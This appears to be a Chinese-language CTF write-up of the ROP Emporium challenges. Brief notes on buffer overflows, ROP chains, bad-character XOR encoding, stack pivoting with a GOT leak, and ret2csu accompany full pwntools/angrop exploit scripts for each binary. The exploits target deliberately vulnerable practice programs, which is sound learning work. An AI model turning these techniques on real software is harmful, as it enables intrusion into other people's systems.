misc是没前途的!是时候开始重新学下pwn了!
ret2win

最简单的栈溢出,没有任何保护
给了一个shell,直接写shell地址就好。


split
这里是一样的,多了一个string地址,需要用pop方式清空掉rdi,然后再调用。

所以rop链是什么?把返回地址覆盖掉,程序会依次调到你构造的rop地址然后(ret; gadget加上之后会返回到原来的地址)。
这里尝试用一下angrop,感觉未来做普通rop题都能用了。
from pwn import *import angr, angropfrom multiprocessing import cpu_countcpu_num = cpu_count()if __name__ == "__main__": p = angr.Project("./split", auto_load_libs=False) rop = p.analyses.ROP() cache = "./angrop.cache" if os.path.exists(cache): rop.load_gadgets(cache, optimize=False) else: rop.find_gadgets(processes=cpu_num, optimize=False) rop.save_gadgets(cache) ch = rop.set_regs(rdi=0x601060) + \ rop.func_call(0x400560, []) print(ch.payload_code()) chain = b"" chain += p64(0x4007c3) # pop rdi; ret chain += p64(0x601060) chain += p64(0x400560) # <func_0x40074b> p = process(["orb", "./split"]) p.sendlineafter(b"> ", b"A" * 0x28 + chain) p.interactive()callme
这个明显可以直接逆向了()
但是如果要用程序自执行的话,我们需要依次调用so文件里的callme_one, callme_two, callme_three。
import angr, angropimport logginglogging.getLogger().handlers.clear()logging.basicConfig(level=logging.CRITICAL)from pwn import *context.log_level = "error"if __name__ == "__main__": elf = angr.Project("./callme", auto_load_libs=True) ELF = ELF("./callme") rop = elf.analyses.ROP() rop.find_gadgets() cache = "./angrop.cache" if os.path.exists(cache): rop.load_gadgets(cache, optimize=False) else: rop.find_gadgets(optimize=False) rop.save_gadgets(cache) callme_one = ELF.symbols["callme_one"] callme_two = ELF.symbols["callme_two"] callme_three = ELF.symbols["callme_three"] print(f"callme_one: {hex(callme_one)}") print(f"callme_two: {hex(callme_two)}") print(f"callme_three: {hex(callme_three)}") ch = rop.func_call(callme_one, [0xDEADBEEFDEADBEEF, 0xCAFEBABECAFEBABE, 0xD00DF00DD00DF00D]) + \ rop.func_call(callme_two, [0xDEADBEEFDEADBEEF, 0xCAFEBABECAFEBABE, 0xD00DF00DD00DF00D]) + \ rop.func_call(callme_three, [0xDEADBEEFDEADBEEF, 0xCAFEBABECAFEBABE, 0xD00DF00DD00DF00D]) print(ch.payload_code()) p = process(["orb", "./callme"]) p.sendlineafter(b"> ", b"A" * 0x28 + ch.payload_str()) p.interactive()write4
需要把文件名写到bss段里。
不过有了angrop的话,想来以后rop题基本上找到leak就能直接出了吧。
import angr, angropfrom pwn import *context.log_level = "error"if __name__ == "__main__": elf = angr.Project("./write4", auto_load_libs=True) ELF = ELF("./write4") rop = elf.analyses.ROP() rop.find_gadgets(processes=1) cache = "./angrop.cache" if os.path.exists(cache): rop.load_gadgets(cache, optimize=False) else: rop.find_gadgets(optimize=False) rop.save_gadgets(cache) bss = ELF.bss() print(bss) chain = rop.write_to_mem(bss + 0x0, b"flag.txt") + \ rop.func_call(ELF.symbols["print_file"], [bss]) print(chain) payload = b"A" * 0x28 + chain.payload_str() p = process(["orb", "./write4"]) p.sendline(payload) p.interactive()badchars
加了过滤,我们随便写一段字符串然后用xor放进去就行。
这里xor是我自己改出来的(,可能交个pr给angrop?
import osimport angrimport angrop # noqa: F401from pwn import *context.log_level = "error"if __name__ == "__main__": proj = angr.Project("./badchars", auto_load_libs=False) elf = ELF("./badchars") rop = proj.analyses.ROP() rop.set_badbytes([ord("x"), ord("g"), ord("a"), ord(".")]) cache = "./angrop.cache" if os.path.exists(cache): rop.load_gadgets(cache, optimize=False) else: rop.find_gadgets(optimize=False) rop.save_gadgets(cache) bss = elf.bss() print(f".bss addr: {hex(bss)}") bad_chars = {ord("x"), ord("g"), ord("a"), ord(".")} data = b"flag.txt" new_data = b"flbhbtyt" chain = rop.write_to_mem(bss, new_data) for i in range(len(data)): if data[i] in bad_chars: chain += rop.xor_mem(bss + i, data[i] ^ new_data[i], data_size=8) chain += rop.func_call(elf.symbols["print_file"], [bss]) print(chain) payload = b"A" * 0x28 + chain.payload_str() p = process(["orb", "./badchars"]) p.sendline(payload) p.interactive()fluff
这个看起来自动化不太能做。用了很多奇怪的指令并不是常见的东西。当然比赛一般不会这么搞,所以还是手搓下吧。
xlat:以al为偏移,索引bx指向内存中的字节,可以用来从内存里取字节,需要al和bx的值可控
bextr:位域索引,第一个源操作数是原数据,第二个源操作数是索引开始位置(8位)和长度,这里可以控制rbx的值
stosb可以保存1个字节从al到rdi指向的地址,rdi可以控制,设置为随便一个可写地址就行。不给代码了可以去看别人写的。我写得好烂
pivot

这里给了个堆指针 + 一个短很多的栈溢出。所以我们需要ret2heap,然后heap上写我们的rop chain。需要注意我们现在没有ret2win的地址(在so里面),需要用foothold_function打印plt表。
注意这里是一种新方法:因为第二次输入的只有0x40,不够覆盖太多内容,我们需要把栈迁移到第一次输入的地方然后再执行。
唉,写poc还是太麻烦了。
from pwn import *context.log_level = "error"import osimport angrimport angrop # noqa: F401context.terminal = ["tmux", "splitw", "-h"]if __name__ == "__main__": proj = angr.Project("./pivot", auto_load_libs=False) elf = ELF("./pivot") lib = ELF("./libpivot.so") rop = proj.analyses.ROP() cache = "./angrop.cache" if os.path.exists(cache): rop.load_gadgets(cache, optimize=False) else: rop.find_gadgets(optimize=False) rop.save_gadgets(cache) p = process(["orb", "qemu-x86_64", "./pivot"]) p.recvuntil(b"pivot: ") pivot_addr = int(p.recvline().strip(), 16) print(f"pivot address: {hex(pivot_addr)}") bss = elf.bss() print(f".bss addr: {hex(bss)}") chain_heap = rop.func_call(elf.symbols["foothold_function"], []) chain_heap += rop.func_call(elf.symbols["puts"], [elf.got["foothold_function"]]) # then recv plt table -> get ret2win chain_heap += rop.func_call(elf.symbols["main"], []) # return to main to read again print(chain_heap) p.sendlineafter(b"> ", chain_heap.payload_str()) chain_stack1 = rop.pivot(pivot_addr + 0x8) print(chain_stack1) p.sendlineafter(b"> ", b"A" * 0x28 + chain_stack1.payload_str()) p.recvuntil(b"foothold_function(): Check out my .got.plt entry to gain a foothold into libpivot\n") leaked = p.recvuntil(b"\n", drop=True) leaked = u64(leaked.ljust(8, b"\x00")) print(f"leaked foothold_function addr: {hex(leaked)}") libpivot_foothold = lib.symbols["foothold_function"] libpivot_ret2win = lib.symbols["ret2win"] offset = libpivot_ret2win - libpivot_foothold ret2win_addr = leaked + offset print(f"ret2win addr: {hex(ret2win_addr)}") chain_heap2 = rop.func_call(ret2win_addr, []) print(chain_heap2) p.sendlineafter(b"> ", chain_heap.payload_str()) p.sendlineafter(b"> ", b"A" * 0x28+ chain_heap2.payload_str()) print(p.recvall(timeout=1).decode())ret2scu
这个就似乎不太能用angrop这种自动化工具了(当然比赛也很少有这种苛刻的条件吧?)
需要先用下面的pop设置寄存器,在用上面的680开始的一段设置rdx和rax。

from pwn import *context.log_level = "error"import osimport angrimport angrop # noqa: F401context.terminal = ["tmux", "splitw", "-h"]if __name__ == "__main__": proj = angr.Project("./ret2csu", auto_load_libs=False) elf = ELF("./ret2csu") lib = ELF("./libret2csu.so") rop = proj.analyses.ROP() cache = "./angrop.cache" if os.path.exists(cache): rop.load_gadgets(cache, optimize=False) else: rop.find_gadgets(optimize=False) rop.save_gadgets(cache) # chain = rop.set_regs(rdi=0xDEADBEEFDEADBEEF, rsi=0xCAFEBABECAFEBABE, rdx=0xD00DF00DD00DF00D) chain = rop.set_regs(rbx=0, rbp=1, r12=0x000000000600E48, r13=0xdeadbeefdeadbeef, r14=0xcafebabecafebabe, r15=0xd00df00dd00df00d) chain.add_value(0xdeadbeefdeadbeef) chain.add_value(0x400680) chain.add_value(0x0) chain.add_value(0x0) chain.add_value(0x0) chain.add_value(0x0) chain.add_value(0x0) chain.add_value(0x0) chain.add_value(0x0) chain.add_value(0x4006a3) chain += rop.set_regs(rdi=0xDEADBEEFDEADBEEF) chain += rop.func_call(elf.symbols["ret2win"], []) print(chain) p = process(["orb","qemu-x86_64","./ret2csu"]) p.sendlineafter(b"> ",b"A" * 0x28 + chain.payload_str()) p.interactive()